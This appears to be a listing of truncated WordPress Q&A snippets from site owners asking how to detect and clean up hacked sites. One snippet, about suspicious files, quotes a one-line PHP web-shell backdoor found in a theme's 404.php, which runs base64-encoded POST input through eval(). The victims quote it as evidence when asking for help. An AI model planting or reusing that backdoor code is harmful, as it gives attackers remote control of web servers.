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All users have same username [closed]

Somehow all WordPress users changed to one same username "123". I think my site is hacked but I don't know in which file to look for malicious code. Any suggestions what to do?
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Spam users registers even when registration is disabled

I'm getting a lot of spam users registering on my site, even though I have disabled All users can register in the control panel and comments is disabled on all posts. Are anyone else experiencing ...
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Media uploader was overridden and uploaded php file

Sorry if this post already exist, But I am new in this area :) So I just deployed some wordpress application for a year. And when I found out that my server is sending Junk mail to unknown users I ...
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Restrict access to xmlrpc.php

I am fairly new to Wordpress and I recently noted a huge amount of traffic hitting the following: 162.242.170.222 - - [01/Aug/2014:08:18:54 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4859 162.242.170.222 ...
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hSite has no css on mobile [closed]

Our WP site got hacked and we've been working with our hosting to clean all malware etc. However, now the site appears on desktop fine, but on mobile it looks as though all the css is stripped. ...
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Troll the hackers by redirecting them

My website is getting somewhat popular, and with the it's increasing popularity there's an increase in the hackers. Last night I visited my security logs and found that everyday approximately 10 ...
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Is wp-app.php or wp-apps.php needed for Wordpress?

A few Wordpress blogs I overlook have suddenly generated 3 PHP files in their top folder: wp-app.php, wp-apps.php, and wp-register.php, not of which existed before. Checking their contents against a ...
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Tips for finding SPAM links injected into the_content

I'm working on a client's site and I noticed that posts have a hidden <div> filled to SPAM links to dick pills, etc. Hoping to get lucky, I searched for some of the keywords in the database ...
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Remove hacked code - out of ideas! [closed]

I've been working on a project which keeps getting some PHP inserted into the config.php file and it's causing a lot of issues with SEO. I'll paste in a sample of it (it's quite long) after this ...
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wordpress powered site's google search excerpt showing casino links

I have wordpress blog i just checked Google search result of my site, they are showing excerpt containing text like below "best site should try out for demo mode of gaming variants to adopt good ...
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Username was changed to “admin”

I suspect a hacking incident in my wordpress site. My username was changed to "admin". How to revert back my username safely? Thanks
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How do I restore my WordPress that has been hacked?

The website was hacked a week and a half ago. I removed files that were added and removed core WP files that I knew I could replace just to move along the process. Now, I am left with the wp-content ...
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Core files changed - site hacked?

Got a WordFence alert last night for one of our WordPress sites, saying that some WordPress core files had been changed: WordPress core file modified: wp-content/plugins/akismet/admin.php WordPress ...
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Wordpress installer attack

I'm facing a repeated attack on my wordpress. The bots are attempting to force wordpress into installation mode, despite 503'ing requests for install globally and having heavily locked down security ...
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Suspicious Files

Hi I found two suspicious files on my site: The first in my theme (404.php), with this line added <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?> The second in ...
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Is it a good idea to rename the “index.php” in “wp-admin” folder to avoid being hacked?

My wordpress has been hacked for 2 or 3 times. How can I increase its security? Is it a good way to rename the index.php in wp-admin directory?
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After being hacked Fatal error: Call to undefined function get_header() in 404.php on line 1

After having timthumb.php exploited. The site was upgraded to WP 3.5 It was compromised again, (wp-config included encrypted data as well as the functions.php in the wp-include directory. After ...
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If a hacker changed the blog_charset to UTF-7 does that make WordPress vulnerable to further attacks?

I had a client who got hacked recently and I noticed that there were weird characters appearing on her site, like  and Æ. It turns out that the hackers changed the blog_charset to UTF-7 in the ...
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How to restore my wordpress site on your server? [closed]

Yesterday my wordpress site "http://planetofcoders.com", Hacked by someone Bangladeshi hacker. After that I did delete all site and database data. I have my site and database backup as on 09-Nov-2012. ...
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Any known bugs that could cause disappearance of the wp_users table?

I administer a number of WordPress-powered web sites. One of these sites is new, and has been running untouched since it was set up a month ago. Today, I tried to log in, but was unable to do so - ...
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Where do hackers usually run their hacking script? [closed]

So in my quest to solve this mystery, I actually found some script that might be similar to one used to deface our sites: http://pastebin.com/raw.php?i=hcvPE8YV Now my question is where do they ...
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Websites defaced by uploading script using theme editor

We've had several Wordpress sites defaced, all of them having the same pattern (at least the raw access log says so). From the logs it appears they directly login to Wordpress then go to theme editor ...
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Is there any pre-existing plugin to track and block IPs with suspicious activity on my site?

The image below shows a recent (failed) attempt to crack my Wordpress install. It's easy for me to look at that and see what they were doing, but is there a plugin that exists that monitors this data ...
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suspicious boolean.php file in wp web root [closed]

Today I noticed in my web root a suspicious php file: boolian.php and serveral .html files with random names, all containing trojans. I remember yesterday I just uploaded and activated few themes I ...
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Prevent Hacking of Wordpress Site [closed]

My Wordpress site is beign hacked by some hackers of Saudi Arabia. How can i prevent them from hacking. I have also found that many other Wordpress sites have also been hacked.
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Malware on site [closed]

Hi when I try to enter my site I get redirected to another site. IT appears the htaccess file has been changed. When I scan the site with Sucuri I get this error Known javascript malware. Details: ...
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On new server, site got hacked, permissions a bit strange? Please help

I moved to a new server recently, a week later a site got hacked, all they did was change the index.php file of the current enabled theme, no big deal. I did have a few security precautions in place, ...
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Strange codes in my wordpress site and my website is running too slow [closed]

I have a wordpress website, recently I saw too much slow loading index page. For two weeks I have been trying to find the problem but found nothing. Last day I backup all files and deleted everything ...
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What can I do when an outside party hacks into my weblog and changes my display name?

Last night I wrote a mildly controversial blog post about religion on my weblog, and this morning I woke up to find that my display name had been changed to the name of a fanatic religious leader. The ...
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Wordpress Hacks/Defacing [closed]

Im trying to figure out how Wordpress sites become defaced/hacked. I know development very well. I know how to secure code, etc. But I am finding recently, that tons of Wordpress sites are becoming ...
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How was my WP site hacked [closed]

My site, http://www.cancer-study.com, has been hacked, and I can't login to wp-admin. Can you say how it has been hacked and what can I do to undo the damage? I have access to the host.
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Site blocked by WebSense on fresh WP Install

Just put up a new WP 3.2.1 install running twenty eleven, with one post "coming soon". I haven't yet begun developing the site. At my place of business, it is currently blocked by WebSense as ...
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Change WP-Login or WP-Admin

Can I change the name of the wp-login or wp-admin file so that I can go to a different filename in order to login. I am trying to prevent hackers from finding my login and wp-login has become a very ...
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Suspicious URLs being loaded after hack and restore

I had a site that was hacked (had Arab words on the index.php), and all files deleted, but database still there. I used Fantastico to install a clean release of WP 3.1, and I still some something ...
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Verifying that I have fully removed a WordPress hack?

My for-fun WordPress blog at http://fakeplasticrock.com (running WordPress 3.1.1) got hacked -- it was showing an <iframe> on every page like so: <iframe ...
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Has anyone experience w/ WordPress (MultiSite) hidden users (possibly hacked)?

I have 2 WordPress MultiSite installs (on different accounts, but under the same HostGator reseller a/c) and both seem to have been compromised. I say "compromised" because the user_logins have been ...
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Should WordPress Add Options to Enhance Security or Leave it to plugin developers?

Based on the passion engendered with the responses to this question. It appears that the answer is a resounding "Nothing!" or "leave it to plugin developers to handle, WP is already secure enough"... ...
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How Attackers write script into my php files?

I have a blog created with wordpress, now i have a problem. Attackers writes javascript codes into my files. Let's assume i have holes in my plugin scripts, but how can they write into php files? ...
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Scanning Database for malicious Data

After a site of a friend has been hacked I told him he should just clean up the mess and restart from scratch so he know that no file has been altered. I could scan the site for him with tools like ...